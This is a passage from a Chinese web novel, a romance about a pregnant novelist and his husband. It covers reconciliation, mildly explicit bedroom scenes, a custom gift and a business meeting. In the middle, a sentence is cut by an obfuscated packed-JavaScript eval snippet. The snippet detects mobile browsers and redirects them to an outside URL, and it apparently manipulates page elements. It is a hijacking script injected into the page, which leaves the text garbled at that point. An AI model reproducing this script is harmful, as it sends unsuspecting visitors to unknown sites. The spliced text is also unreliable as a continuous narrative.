纪轻行就在身边,靠在床头,捧着手机看得一脸严肃,眉头深深拧着。 沈昕以为他在处理公事,便没喊他,自己也坐起来,把枕头竖着放在背后。 空调被搭在身上,勾勒出肚子的形状,随着呼吸浅浅起伏。 不想下床,不想做任何事,不想开始一天的生活,只想就这样什么都不做,让时间慢下来,慢到几乎静止,让他得以尽情消磨。 突然间,纪轻行放下手机,转身抱住他,双臂从腋下穿过,下巴枕在肩窝,非常用力,又竭力地克制。 沈昕疑惑道:“怎么了?” “对不起。”纪轻行哑着嗓子说,“我昨晚把之前没看的连载看完了。看到你刚去香国那段时间写的……你那时候很痛苦对不对?知道你怀了孕的时候,我就想象过你的痛苦,但想象就算再多,终究和现实有别,而当我看到你的文字,那些想象就化成了事实,铁一般的事实,一字一句,像在我心里下刀子。可我又何尝不明白,我心里的疼只是你痛苦的万一。我想代替你痛苦,可我代替不了,偏偏那些痛苦又都是我带给你的……昨天晚上我一直在看,直到刚才还在看,反反复复好多遍,越看越觉得我要难受得死掉了。但我还是要看,永远看、不停地看,这是我惩罚自己的唯一办法。” 沈昕明白了。 时过境迁,他还记得当时的感受,却已经没有那么强烈了。 自我修复与遗忘既是人类的弊端,也是优势。 他揉了揉纪轻行的脑袋,玩笑道:“纪总自责归自责,但不要太自信了,当时我不开心不仅仅是因为你。” 纪轻行颤抖的身体一顿。 完全没想到沈昕会这样说。 云淡、风轻、俏皮,像吹一片树叶一样把他的痛楚轻轻揭过,很好,又很不好。 纪轻行攥紧拳头胡闹道:“不,就是因为我就是因为我,全是因为我!别人怎么可能让你不开心?不可能!绝不可能!只有我能让你不开心,只有我能牵动你的情绪,只有我对你来说是重要的特别的!只有我!” 奇怪的占有欲。 沈昕笑开了一点,勾着脖子把人从怀里挖出来,面前那双眼睛又无辜又难过又渴望又卑微,确实……很像狗。 狼狗。 “你想要惩罚是吗?我有个更好的。” 纪轻行一愣:“什么?” 沈昕的眼睛转了一下,说:“你不许再看我写的东西了。” 纪轻行再一愣。 “你以前不就是这样说的?永远不再看,号都注销了,怎么现在出尔反尔呢?”沈昕理所当然道,“而且我也的确不想让你看了。否则你想快乐就快乐,你想痛苦就痛苦,也太便宜了吧?我还要把你放在那边书房里的书全部搬走,合作项目你也不许再插手,你自己说过的,要把‘沉心’二字彻底逐出生活。” 说着,他拿了纪轻行的手机,在对方还没反应过来的时候,三下五除二地再次注销了他注册不足半天,连用户名都没来得及取的新号。 纪轻行:? “昕昕,你、你……” “你要是敢再偷偷注册,或者偷看我电脑里的稿子,让我发现,你就完蛋了。” 纪轻行:??? “可是前几天你还说,我迟早要看的。” “那是前几天,给你机会你不中用,怪谁呢?” “那、那我究竟什么时候才能……再看啊?” “也许这辈子都不能了哦,你选的嘛纪总。”沈昕摊手,“不过也许还有万分之一的奇迹,就看你能不能把我伺候满意了。” 纪轻行:?????? 完了,沈昕这是情绪恢复正常,开始秋后算账了。 “过来。”沈昕抬手,四指向后勾了勾。 纪轻行听话地膝行两步。 “亲我。” 曾几何时,这是纪轻行对他的要求,他还没忘。 他很记仇。 纪轻行被这一连串操作整得晕头转向,也像曾经的他一样怔怔地问:“亲哪儿?” 沈昕故意道:“这话说的,好像挺不情愿?亲我让你很为难?” “我哪有!清汤大老爷,我冤枉!” 沈昕“噗嗤”笑了,接着用食指点了点下唇。 纪轻行盯向那淡红而漂亮的唇,如此别致的沈昕,如此主动的邀请,别的事都可以暂且放在一边,他胸口发紧,倾身过去,一手搂腰,一手捧着脸颊吻上去。 吻得缓慢而细密,控制着力度和节奏,带着沈昕感受每一个细节。 沈昕闭着眼睛,渐渐开始回应,环着纪轻行脊背的双手不由地用力,想让对方更加靠近自己,细碎而舒适的感叹从喉中漏出来,很快便染上了情/欲的色彩。 他把两人之间的空调被扯开,随手扔到床下。 纪轻行笑了,暂时分开唇,抬起头来,目下所及,沈昕的表情已是急不可耐。 纪轻行问:“贴贴?” 沈昕胸膛起伏,摇头道:“你进来。” 纪轻行犯了难。 不是不想,而是…… “我很担心。”纪轻行的大手放在沈昕腹侧,“昨晚你都两次了,现在才过了不到半天,我怕……真出了意外可不是闹着玩的。” 然而沈昕根本听不进去:“我已经休息好了,现在状态很好,宝宝也是,你摸得到吧?肚子很松弛。” 纪轻行仍是犹豫。 沈昕便道:“刚才说了你要好好伺候我,难道你这辈子都不想再看我的书了吗?” 纪轻行一笑:“昕昕,激将法和威逼利诱对我没用,在我心里,最重要的就是你和宝宝的平安健康,尤其是你。” 沈昕心头一热。 但在排山倒海的欲望面前,区区感动实在不够看。 激将和威逼利诱没用,那就撒娇。 这是他从来不会的东西,然而此时此刻此情此景,突然就无师自通了。 他看着纪轻行,说:“老公。” 纪轻行顿时愣了。 不过很快就明白了他的意图,这两个字固然令人心动,却还不至于不能抵挡。 他只是笑,没有任何其他的反应。 沈昕继续道:“我的狗勾。” 纪轻行:…… 还是没用么? 沈昕垂下眼帘想了一会儿,伸手抚上纪轻行的腹肌。 他知道他的敏感点。 认真准备了一下,他低声唤道:“阿行。” 这下纪轻行彻底愣了。 沈昕垂着眼睛说:“你不是很在意我从不用特别的称呼叫你么?其实我不是没想过,其实我想很多次了,只是不好意思。你知道的,我跟你不一样,我面子很薄,所以只能在这个时候这样叫你……” 他压抑着自己的呼吸:“我知道你说的有道理,我也不是不关心自己和宝宝,但你不明白我现在的感受。” “怀孕以后,有的人会变得非常敏感,非常……难以控制,实话告诉你,我最近……就是这样。我面子那么薄,却这样跟你求欢,你就知道我没有说谎。阿行,你弄大了我的肚子,把我弄得敏感,却又用冠冕堂皇的理由袖手旁观……” “我也查过,孕晚期负担会飞速加重,还有堪称恐怖的生产,就算你在身边,也没办法真正帮到我,我终究要一个人承受所有,现在只不过是让你陪陪我,你就百般……” 沈昕声音发抖。 原本这只是话术,可说着说着他认了真,的确觉得委屈。 纪轻行亦听得难受,连忙说:“昕昕,不要再说了,我明白了,都明白了,我答应你,听你的话,好好陪你。” 身体的敏感或许只是其次,心理上的敏感才是最要紧的。 此时的沈昕就像一个易碎的珍宝。 纪轻行从身后抱着他,护住他的肚子,行动极尽温柔。 - 两人整理好一切,走出卧室时已是午后两点多。 “阿姨过来做饭那会儿我发信息跟她说了咱俩有事,让她做好了保温放着就行。” 纪轻行去厨房端饭菜,沈昕托腮坐在餐桌边,懒懒地说:“她知道咱们在楼上?” “应该吧。”纪轻行把碗筷杯碟摆好,“她做完饭不是还要收拾一下家里嘛,应该能看出来咱俩在家。” 沈昕鼓了鼓腮帮子,表情有点郁闷。 纪轻行问:“怎么了?” “她可能能猜到咱们有什么事。” “你害羞?”纪轻行笑了,“刚刚那么主动,现在居然害羞起来了?” “我觉得我这几天就像个神经病。”沈昕双手捧脸,脸颊泛红,“激素好可怕。” 纪轻行晃了晃他的肩:“人之常情嘛,别说阿姨可能根本什么都没猜,就算猜到了肯定也只会觉得咱俩感情好。至于你说你像个神经病,那就神经病呗,我最近也像个神经病,所以要不咱俩凑一对儿呢?就算有再大的神经病,只要咱们能接住对方的,不就行了?先吃饭,吃完以后出去散散心,消一消你那些莫名其妙的念头。” “嗯。”确实应该出去走走,他已经有好多天没见过自然光了。 尚未到盛夏,下午气温不算太高,但阳光很足,纪轻行便拿了把阳伞。 沿着小区道路往风景区走,越靠近那边,植被越丰富,不多时便无需遮阳。 纪轻行收了伞,牵起沈昕的手,十指交握,将步调放得极慢。 沈昕说:“我都没来过这边,没想到建设得还挺好看。” “我也是,平时哪有空在小区里逛。” 沈昕突然想起一件事,笑问:“你今天没去上班,不是说有特别重要的工作吗?” “嗐呀。”纪轻行非常无奈,“沉老师,求求你,给我一条生路吧。” 似乎恢复了从前吊儿郎当的样子。 似乎已经适应了他是沉心的事实。 沈昕开始期待他们之间更加细腻、丰富的情感。 走到人工湖边,坐在长椅上看了一会儿天鹅,又环湖走了一圈,然后折返。 到了家也没有立刻进屋,而是继续坐在院子里喝东西。 纪轻行说:“咱们把院子收拾一下吧,你想要什么风格的?等弄好了,天气合适的时候,你可以坐在这里写稿,宝宝也可以在这儿玩。” 他们的院子还保持着初始设计,以前没想过经营家庭生活,但现在不一样了。 刚才散步,看到别人家各式各样的庭院,纪轻行便动了心。 “突然之间也确定不了什么风格,慢慢计划吧。”沈昕说,“不过无论弄成什么样,都可以装一个秋千或者摇篮,小孩子肯定喜欢。” “嗯。家里的宝宝房我也联系了人做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916068|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规划,最近差不多可以启动了。不过倒不是非常急需,如果你最近不想被打扰,我就让他们延后。还有书房,书架得重新布置,你看是想把你家里和香国那边的书搬回来,还是买新的?书房的桌椅你用着合适吗?不合适就换掉。对了,咱们之前定的孕产陪伴服务,孕后期开始,提供住家、上门和远程三种方式,昨天他们还问我来着,你想要哪种?医院也是,可以提前入院,也可以等要生的时候再去,你觉得……” “啊……”沈昕抚额,“怎么一下子这么多事?” “过日子是这样的。”纪轻行笑道,“别发愁,你只需要下令,执行交给你老公我就好。” “可是动脑子想也很累。” “明白,毕竟沉老师在写书上费的脑细胞已经够多了。” 沈昕撩眼看他:“你在讽刺我?” “天地良心,我哪儿敢啊!” 纪轻行的表情浮夸而充满了真情实感,沈昕笑了,看着坐在阳光里的英俊男人,那么妥帖,那么牢靠,那么会说,那么……能干,心头又有些发痒。 “咱们进屋吧。” “坐累了?” 沈昕摇摇头,直言道:“我想让你抱着我。” 纪轻行故意问:“哪种抱?” “就先普普通通的抱。” “先?”纪轻行尾音挑起。 “嗯,后面是不是还要别的抱,顺其自然吧。” 沈昕如此坦然,纪轻行的流里流气再无用武之地。 二人没有上楼,就坐在客厅沙发上,沈昕双腿抻平,靠在纪轻行怀里。 纪轻行按摩他的后腰和胳膊,电视开着,他们并没有刻意去看,只是把那生活化的声音作为背景。 纪轻行看沈昕状态不错,便再次诚恳地进言:“昕昕,我觉得咱们真地要控制,哪怕再温柔,哪怕不进去,但毕竟是……万一产生刺激引起宫缩就麻烦了。” 沈昕闻言坐起来,不快地说:“又来了。” 纪轻行凑上去扶肩,正要再哄,沈昕没好气道:“知道了。” 纪轻行表情梗了一下,犹豫片刻,非常无奈地叹了口气:“昕昕,我不是非要阻止你,而是……你以为我不想和你过性生活吗?我太想了,我简直想时时刻刻把你按在床上让你合不拢腿下不了地,可是我现在……以前倒也罢了,最近看着你的肚子越来越大,我的手放在上面都不敢用力你知道吗?总觉得我的手这么大这么粗糙,一不小心就会把你和宝宝碰疼碰坏,尤其这几天,看着你连起来坐下这些最简单的动作都不能自然而然地完成,都要特别注意不磕着碰着,我就……一方面因为咱们的孩子长大而高兴,一方面更心疼你,有时候我甚至都……有点儿后悔,我不想让你承受这些,如果有机会再选一次,我……昕昕,我是真地不敢,真地害怕。” 沈昕低着头,半晌说道:“再选一次,我还是愿意跟你生孩子。” 纪轻行的心“唰”地收紧。 沈昕转过头来,再次说:“我知道了。” 语气轻松平和,和刚才的赌气截然不同。 他捧住纪轻行的脸,亲了亲他的唇,说:“可能也是因为这几天你……反正都怪你。” 纪轻行明白他未说完的话,意思是知道他就是沉心以后,他俩的情感波动太剧烈,必然反应到身体上。 只要沈昕能想通,怎么责怪他都无所谓,他反而高兴,忍不住说:“嗯,都怪我的十八公分,让你念念不忘。” 沈昕神色一暗,冷笑道:“没错,完全只是因为十八公分,跟你这个人一点点关系都没有。” 纪轻行恬不知耻地把沈昕搂进怀里,低头贴着那软软的耳垂,暧昧地诱惑:“这么喜欢,要不要买条蝴蝶结给它装饰一下?再挂个铃铛?” 沈昕挑眉道:“把你也装饰一下,戴上尖耳朵、皮项圈和毛尾巴,人如其名。” “好啊!”纪轻行一口答应,笑得跃跃欲试。 有一搭没一搭地胡言乱语,说起蝴蝶结,沈昕突然想起来一件差点儿忘了的事情。 第二天,纪轻行去上班,他便联系人送货。 给纪轻行的礼物一直放在他工作室,很大,好在不重。 送到以后,他把它摆在出了玄关一眼就能看到的位置,气势汹汹的,起到一个既迎客又镇宅的作用。 站在旁边端详了一会儿,觉得有点儿空,他打开手机就近下了个单。 一切妥当,距离纪轻行回来还有将近四个小时。 沈昕无比期待纪轻行看到礼物的样子,这四个小时便显得格外漫长。 写稿、看书、散步、玩手机、打理家里的小物件……每件事都不太能做进去,睡觉也睡不着。 整颗心都被牵住了。 既觉得无奈荒唐,又觉得…… 甜蜜幸福。 在焦急的甜蜜幸福中,一分一秒缓慢走过,终于,晚上七点过,门锁传来“滴——”一声,坐在餐厅的沈昕看过去,期待已久的人如约而至。 “回来了?” “嗯,你吃过饭了吧?” “刚吃完,你的温在厨房。” “好,今天身体怎么样?宝宝有没有……” 纪轻行正正常常地换鞋、脱外套、洗手,正正常常地走向沈昕,正正常常地准备继续说话,突然一顿。 视线转向客厅,整个人一僵,接着从表情到语气再到行为,统统不正常了起来。 50.专属礼物 “这、这是什么?!” 纪轻行对着摆在客厅的物件看了一会儿,扭头看沈昕,又看那个物件,又回头看了下玄关,表情非常懵,非常生动,好像在问我是不是走错门了。 可这里就是他的家,眼前人就是他的老婆啊! 可他的家里为什么会有这种怪东西?! 一个真人比例的亚克力材质Q版风格的男人,坐在一个同材质的真实比例长沙发一侧,穿着衬衫西裤,翘着二郎腿,胳膊搭在沙发靠背上,表情很酷,身旁的空位上放了十一个字—— 下面我要开始大放厥词了。 “我”字前面放着个方形礼盒,礼盒上还有支红玫瑰。 纪轻行:? 纪轻行:??? 纪轻行:?????? “昕昕,这……什么情况?!” “这不是‘什么情况’,这是你。” “哈?”纪轻行下巴都快掉了。 沈昕一笑:“你忘了?这是你最爱说的话啊,人物虽然经过了艺术变形,但气质很对,精准地抓到了你的神/韵。” 他推着纪轻行走到家里的沙发前。 “你坐下,跟它面对面,也做这个动作表情,看看是不是一模一样?” 纪轻行:…… 纪轻行:………… 纪轻行:……………… 没错,那个怪东西就横在电视墙前面,隔着茶几与沙发遥相呼应。 一比一的大小,要不是客厅宽敞,还真放不下。 “昕昕,这……” “你不喜欢?这是我特别为你定制的。” 纪轻行的脸皱成一团。 沈昕的热情顿时没了,有点儿失落地说:“先前说了送你礼物,我想了很久,对沉心来说,你写的那些评论是最珍贵的财富,而对沈昕来说,这就是你作为老公的样子,原来你竟然不喜欢?” 扭头走掉。 纪轻行当然追上去。 “不是!我没有不喜欢!就是太、太意外太震惊了!你最近连番给我震惊,上一个我才刚有点儿消化,现在就又……” 他按着沈昕的肩把人转过来,低头观察。 “没生气吧?你千万别生气啊,我真地没不喜欢,就是没想到,这、这是个人都想不到好吧?怎么你就能想到呢?能想出来那么多精妙有趣的故事,还能想到这么出人意料的礼物,我太佩服了……喂,干嘛不说话?没哭吧?我是夸你呢,真心夸,嗐,你一会儿这个招一会儿那个招,把我弄得晕头转向,语无伦次了都。” 纪轻行小心翼翼地抬起沈昕的下巴,沈昕实在忍不住了,“噗嗤”笑出来,双手推他胸口。 纪轻行松了口气。 经过最初的震惊,现在他恢复了理智,再看那个超大号场景立牌,满足感与幸福感油然而生。 他坐回皮沙发上,真地摆出了一模一样的姿势表情。 沈昕笑得更厉害了,拿来手机全方位多角度一顿拍,又给立牌拍了几张,递给纪轻行:“你自己看,真的很像。” 纪轻行一边滑动照片一边说:“确实完美复刻了我的英俊帅气,说明你对我的外表非常认可……对了,我看看礼盒。” 他走去立牌前面,拿起礼盒掂了掂。 “让我猜猜是什么。这个大小不是手表,这个重量……不是领带也不是皮带,项链手链之类的吗?但里面好像是散的,不止一个,不会真是蝴蝶结铃铛贞操裤吧?和这么可爱的立牌这么浪漫的玫瑰花放在一起,调性不符啊。” 纪轻行自言自语,沈昕只是笑。 终于,他打开礼盒,再次愣了。 “这是什么?” 短短一会儿,他不知第几次说了这句话。 他把礼盒放在亚克力沙发上,一件一件取出里面的东西,表情逐渐郑重。 “这、这些是……” “我的作品大礼包,票选人气角色粘土人、名场景重现插画、金句立牌和书签,线上活动的抽奖礼品,我给你留了一份。金句本来一共二十句,都是书里的句子,但给大家讲解礼品的时候,我突然有了想法,决定把你这句话也加进去,变成了二十一句。” 沈昕抬手一指。 纪轻行此时手里拿的,正是一枚写着“下面我要开始大放厥词了”的书签。 手指忍不住用力,又不敢用力,生怕把这珍贵的东西弄坏了,他克制着呼吸,克制着胸口翻涌的情绪,索性跪在地上,继续取出礼盒中的物件。 熟悉无比的文字与场景掠过视线、涌进心里,这些句子、情节也是他极喜欢的,在曾经许多个日夜给予他新鲜、触动与震撼。 而现在,给予他这些的人就站在身边,对他笑、对他好,与他共度岁月。 纪轻行深深吸气,手指抚过那些精致的小人、精美的画纸、精妙的字句。 再也无法克制。 他站起来一把抱住沈昕,手指、嘴唇颤抖,心脏狂烈地跳。 “昕昕。” “嗯。” “老师……” 沈昕一愣,接着笑了。 然而纪轻行很不足够,这一刻,他的语言贫乏到了极点。 “老婆!” 沈昕双眼微微睁大。 尚未反应过来,纪轻行就又感慨万千地叫道—— “宝宝,我的宝宝,我的……” 他一下一下地非常分明地吸气,胸腔剧烈起伏,又说:“老公……从今以后我不做你老公了,你做我老公!你做我老公好不好?” 沈昕:…… 沈昕:………… 沈昕:……………… 完蛋,纪轻行疯了。 下巴搁在肩窝,撒娇般来来回回地蹭,一副接下来要叫爸爸的架势。 沈昕无奈笑道:“还没好吗?我都有点儿站不住了。” 纪轻行先是一愣,然后站直,一手拖住沈昕后腰,一手轻轻摸他的肚子,问:“难受?” 沈昕摇摇头:“就是站久了累,它在里面给我加压就罢了,你在外面也跟着来。” “都怪你太坏了。”纪轻行眼神复杂,“你太坏了,为什么要让我这么感动?为什么要这么浪漫?你知道吗,你现在就算是杀了我我也甘之如饴。” “瞎说什么呢。”沈昕捏了捏纪轻行的脸。 “没有瞎说。”纪轻行呆滞道,“我认真的,昕昕,我好爱你,爱你的身体,爱你的性格,爱你的灵魂,爱你的……一切。” 他躬身一捞沈昕膝弯,把人抱到沙发上,倾身亲吻。 不再是平时游刃有余的样子,整个人颠三倒四,吻 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纪轻行不知道他是沉心的时候,固然也经常做小伏低哄他高兴,但身上始终有种一切尽在掌握的轻松与自信,不像现在,知道了他是沉心就癫了。 确实如他自己所说,仰望神明,进退失据。 “我没事,就是累。”沈昕摸了摸纪轻行的脸,“你有点儿出息。” “出息是什么?我不要那种东西,我只要你。” “不冲突啊,怎么变傻了?这样傻下去我就不要你了。” “给我一点时间。”纪轻行双手握着沈昕的手,郑重得仿佛祈祷,“昕昕,你既然都给我送那些礼物了,是不是就……可以让我继续看你的书了啊?我、我想看。” 太可怜了。 沈昕想了一会儿,说:“可以注册,但还是不能看。” “啊?”纪轻行痛苦面具脸,“这比不能注册更惨!” “那我不管。你收了礼物,又缠了我那么久,再给你看书,岂不是所有好事都落到你头上了?明明昨天才说了要惩罚你的,我都有点儿后悔了,我要……” “别别别!”纪轻行赶紧打断,“我不看我不看!我听你的,都听你的,只注册,绝不看!” 又休息了一会儿,纪轻行抱着沈昕去浴室,给他洗好澡,又抱去卧室床上,仔仔细细地擦了身体乳,这才自己去厨房,简单吃了几口晚饭,接着漱口刷牙,回到卧室一看,沈昕睡着了。 他把手伸进空调被里,再次确认沈昕和肚子里的小宝宝都很好。 然后坐在床边,确认了一下这个位置不会晃到沈昕的眼睛,便打开手机应用商店,呼吸随之加快。 第二天清晨,沈昕在睡梦中听见纪轻行跟他说他去上班,好像又说了早餐在哪里放着。 脑袋想醒,身体却醒不过来,迷迷糊糊地应了几声便又失去了意识。 直到上午九点多终于睡饱。 最近消耗太大,他睁着眼睛懒懒地躺着,实在敌不过肚子饿的时候才爬起来。 自然而然地拿起手机,以为不过是像往常一样看看天气,看看有没有人找他,结果没想到…… 怔愣之后,沈昕笑了。 满屏的打赏通知,传说中的人物——他的狗老板华丽回归了。 51.沉老师的鸭子 沈昕点开打赏通知,进入阅读软件,最近完结的小说详情页上,评论区炸开了锅。 “沉老师的狗”回来了,而且刚一回来就连续打赏强势夺回榜一宝座,读者们纷纷留言,有的欢迎,有的庆祝,有的询问。 一片喧嚣中,纪轻行回复道:[谢谢大家关心,前段时间追妻去了。] 沈昕:? 再度炸锅。 有细心的读者问:[如果我没记错,狗老板以前说的是‘丈夫’……] 其他读者跟着打出一排排问号。 沈昕心想让你胡说八道,这下看你怎么…… 手指下滑,很快就看到了纪轻行的回复,极其游刃有余的三个字—— [一样的。] 沈昕:…… 沈昕:………… 沈昕:……………… 锅炸到了顶点。 [啊啊啊啊啊好像知道了不得了的东西!] [所以是我想象的那样吗?是吧是吧?] [呜呜呜呜我一直嗑沉狗cp的结果沉老师结婚有宝宝了狗老板也结婚了只有我一个人受伤的世界达成了呜呜呜呜呜] [求问追妻成功了吗?] 别的纪轻行都没管,唯独这条专门引用回复,言简意赅道:[当然。] 没有表情,只有一个句号。 斩钉截铁,势大力沉,得意洋洋。 沈昕笑着走出卧室,下楼去厨房,看到了纪轻行留的早饭。 端着早饭去餐厅吃,偌大的房子里非常安静,他很是无聊,便给纪轻行打电话。 纪轻行秒接,语气充满了活泼的笑意:“起来了?” “嗯。” “吃饭了吗?” “正在。” “饭没凉吧?” “没有,温热,刚刚好。” “那就好。” 说完一时沉默,只有沈昕吃东西的细小声音在响。 但是无论谁也没有想要挂断,仿佛都在等对方先说,而且知道对方一定会说出自己想听的那个话题。 又僵持了一会儿,他们异口同声道—— “昕昕……” “你……” 接着同时一笑,纪轻行说:“你先。” 好叭。 沈昕便笑道:“其实你可以直接把钱给我,给平台,我也不能全拿。” “那不一样。”纪轻行笑意盎然,“原本我的钱就都是你的,但打赏是为了赢回应有的头衔。对了,我说话算话呢,只注册,没有看内容,你放心。” 沈昕无奈道:“反正之前也给你看完了。” “不一样啊。”纪轻行还是这句话,“我一般要看好多遍,还要写评论,那天光顾着心疼你了,都没仔细品味,弄得我现在非常心痒,你这个惩罚很到位呢。” 顿了顿,沈昕突然说:“你能不能换个昵称?” “啊?为什么?” “不喜欢。”沈昕故意道,“早就想让你换了,但以前觉得不该对别人指手画脚,所以没提,现在知道了你是你,那就能说了。” “真的啊?” 沈昕信誓旦旦:“真的。” 纪轻行半信半疑,毕竟在床上的时候,沈昕经常“狗勾”“狗勾”地叫他,一副很喜欢的样子。 难道只有床上才可以? 倒是种别样的趣味。 纪轻行大满足,说:“行,换,让我想想改叫什么啊。” 这时有人来找纪轻行说公事,二人便挂了电话。 幸福被打断,沈昕心里不上不下的,吃完早饭也不知道该做什么,这儿走走那儿转转,注意力很不集中地荒废了不知多少时间,终于等到纪轻行再联系他。 不是电话,而是信息。 发了一张图片,是阅读软件修改个人资料的页面,输入昵称的地方写着六个字:沉老师的狗勾。 又“叮咚”一声,纪轻行发语音问:“怎么样?” 嗓音带着他一贯的磁性,同时又贱贱的。 沈昕皱眉说:“你是故意找茬吗?” “我哪儿敢啊!这不是显得可爱嘛。” “不可以。” “哦。”纪轻行委委屈屈。 很快又发来一张图片—— 沉老师的puppy。 沈昕:…… “换。” “哦。” 又一张图片—— 沉老师的忠犬。 沈昕:………… “换!” “好的!” 再一张图—— 沉老师的鸭子。 沈昕:……………… 他紧握手机:“纪轻行,你还说你不是故意找茬?你是不是觉得我对你太好了?要不要我现在过去把你这个号也注销?让你改名你利索点儿一改不就完事了吗?非要逗我,把我逗生气了你就满意了?给你最后一次机会,不许出现任何动物!” 二十五秒的语音。 片刻后气泡声响。 纪轻行说:“哎呀,我就是想让你开心开心嘛,别生气啊,我好好改,这回包你满意。” 这回没有再发图片。 沈昕等得有点着急,不知道纪轻行是不是又去忙了,便退出微信,打开阅读软件,想看看评论区有没有新情况,一眼看见打赏榜第一位。 不再是“沉老师的狗”,而是“爱沉老师一辈子”。 心头“嘭”地一声。 这不仅是读者对作者的告白,更是爱人之间的告白。 虽然比“沉老师的狗”更直接更土,但…… 他喜欢。 其实最初他只是随口一说,纪轻行真不想改名也没什么,但他现在却觉得这个名字改得很好。 象征着他们的关系进入了全新的阶段。 肚子动了起来,小家伙像是受了他心情的影响,正快乐地伸展着小腿小胳膊。 沈昕低头笑起来,伸出手指碰了碰,说:“宝宝你知道吗,你会出生在一个很幸福的家庭。你有两个爸爸,他们非常相爱,他们也都爱你。” - 最近这段时间,沈昕和纪轻行可以说是蜜里调油,仿佛每时每刻都泡在冒着粉红泡泡且幽香四溢的浴缸里。 一转眼到了开会讨论定制作品的日子,沈昕下意识地居然不想去。 毕竟这一去,满打满算将有整整一天不能和纪轻行单独在一起。 路上,他靠着椅背,手指按着自己的恋爱脑,歪头看向开车的人。 很帅。 穿衣服很帅,不穿衣服很帅;远观很帅,近看很帅;大庭广众之下,做普通日常琐事的时候很帅,私密相对肌肤相亲 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会议定在上午10点,沈昕因为要坐纪轻行的车,赶着上午上班时间就到了,暂时没事做,便待在纪轻行的办公室。 这是他第二次来这里。 上次来是为了谈离婚,短短半年,他们的关系发生了翻天覆地的变化。 不过话又说回来,上次的“谈离婚”只是他一厢情愿,上次纪轻行不仅不想离婚,反而只想让他睡他。 沈昕忍不住笑出来。 盯着电脑的纪轻行扭过头来,问:“怎么了?” 沈昕忙道:“没什么。” 纪轻行很贴心地说:“没关系,我今天不忙,你有话就说。” “真没什么,就是想起了上回,你特别好笑。” 沈昕简单说了“上回”,纪轻行听着听着,眉头不满地蹙起。 “我那时候那么可怜,你却只觉得好笑,昕昕,你好无情,我伤心了,你要补偿我。” “怎么补偿?” 纪轻行眼珠一转,像上回一样按了个按钮,所有窗帘降下来,他走到沈昕面前,躬身摸他的脸,说:“补偿嘛,上次少什么,这次就补什么。” 沈昕一联想,脸“唰”地红了:“不行,这里……” “隔音遮光都好得很,就算咱俩在这儿打架都没问题。” “可是……” “你想我,我知道,刚才在车上一直看我,坐得也不安分,既然不是不舒服,那就只能是……” 没有再说下去,纪轻行双手撑着沈昕的座椅扶手,缓缓地吻上去。 “别,我马上要……”沈昕声音含混,理智上抗拒,身体却很快给出了反应。 的确,他喜欢纪轻行亲他,他……想要他。 脸迅速变红,呼吸急了,胸口和隆起的肚子明显地起伏,他像一滩水一样软在座椅里,双腿发麻,失去了站起来的力气。 长长的深吻后,沈昕眼神迷离,很不争气地说:“你、你烦死了。” “抱歉。”纪轻行笑着,看了下表,“现在是没办法做什么了,等开完会一起解锁新场景怎么样?我亲爱的沉老师,不太要认真哦,尽快结束会议,你老公我这儿等着呢。” 52.恋爱脑 上午9点50分,沈昕离开纪轻行的办公室,前往会议室。 除了他,参加讨论会的还有阿圆和工作室的另一位策划,世纪集团则是副总何悦领衔,带着四名项目组核心成员。 大伙儿都到了,他一进门就收到了一连串问好,忙也笑着挥手打招呼。 走去阿圆旁边的空位坐下,左右一看,在职场的准则里,这应该是现场最尊贵的位置。 阿圆问道:“身体怎么样?” “挺好的,最近一直在家,今天好像是签售会之后第一次正经出门。” 时间快到了,何悦确认道:“沉老师,纪总不过来?” 毕竟这是纪轻行目前最看重的项目。 沈昕微笑道:“嗯,他不来,咱们直接开始吧。” “好的。”何悦开起玩笑,“也是,哈哈,沉老师来就等于纪总来了。” 大伙儿都笑起来,沈昕脸色微红,倒不觉得尴尬,反而有点开心。 他渐渐地也体会到了纪轻行曾经说的“和你一起出席各种场合,让大家都知道你是我的,我们是一体的”的占有欲和快乐。 会议开始,阿圆讲了定制作品的大纲和目前的创作进度,何悦等人根据沈昕先前发来的文字稿和阿圆所说的细节提出问题或修改期望,阿圆思考、解释,双方不断交换意见,争取求同。 最初,沈昕还非常认真地在听,但不知道为什么,听着听着突然就…… 走神了。 他不受控制地想到了纪轻行。 想到纪轻行是否也经常在这里开会,是否坐过他坐的位置。 纪轻行开会的时候是什么风格?像阿圆这样条分缕析冷静强势,还是像何悦那样看似拉家常开玩笑但冷不丁就一针见血令人哑口无言?又或者说,纪轻行会更加厉害,举重若轻游刃有余,仿佛在MBA先导班上的样子? …… 总之绝对不会是刚才的样子。 柔情蜜意、细腻缱绻、没脸没皮、恶劣霸道、胡作非为,甚至发疯发狂…… 都是只在他面前,只因为他才显露的样子。 除了他谁也不知道、谁也想不到、谁也看不到。 所以,会议结束后,那家伙又会以哪种方式对待他呢? 办公室没有足够大且柔软的床和沙发,不利于躺,也就是说只能站或坐,那么就跟纪轻行好好商量一下,看看是否可以…… “……沉老师!” 胳膊被猛地一摇,沈昕骤然回神,怔怔地看着会议室里大家或奇怪或关心的表情,“唰”地出了一脊背的冷汗。 “你没事吧?我喊你好半天了,是不是不舒服?”阿圆认真地问。 沈昕满脸烧红,心跳得厉害,搁在桌子底下的手攥紧,只觉得丢脸极了。 “我……没事。刚才……想到了别的,一时晃神,对不起大家,实在对不起。” “没事就好,你吓死我了。”阿圆松了口气,“你浑身都是汗。” 沈昕微垂着头说:“抱歉,我……有点儿闷。” 何悦立刻向下属示意,下属非常机灵地起身去把空调风开大,还开了扇窗。 沈昕用力地吞咽,努力平复情绪,问阿圆:“你刚才叫我是……” “大家想确认一下后面几个重要的时间节点,看看你的规划是什么?再就是作品结局,何总这边的想法跟咱们不一样,我没办法说服他,我觉得你来表达会比我更清晰透彻,更深层次的东西,也只有作者才能说得清。” 沈昕这样级别的作者,参加这种会议,基本都是由编辑或经纪人代言,遇到一些实在谈不妥的问题,本人才会开口,往往具有一锤定音的作用。 但现在与世纪集团的合作又是另一种情况。 应该尽量柔和地处理。 但关键是…… 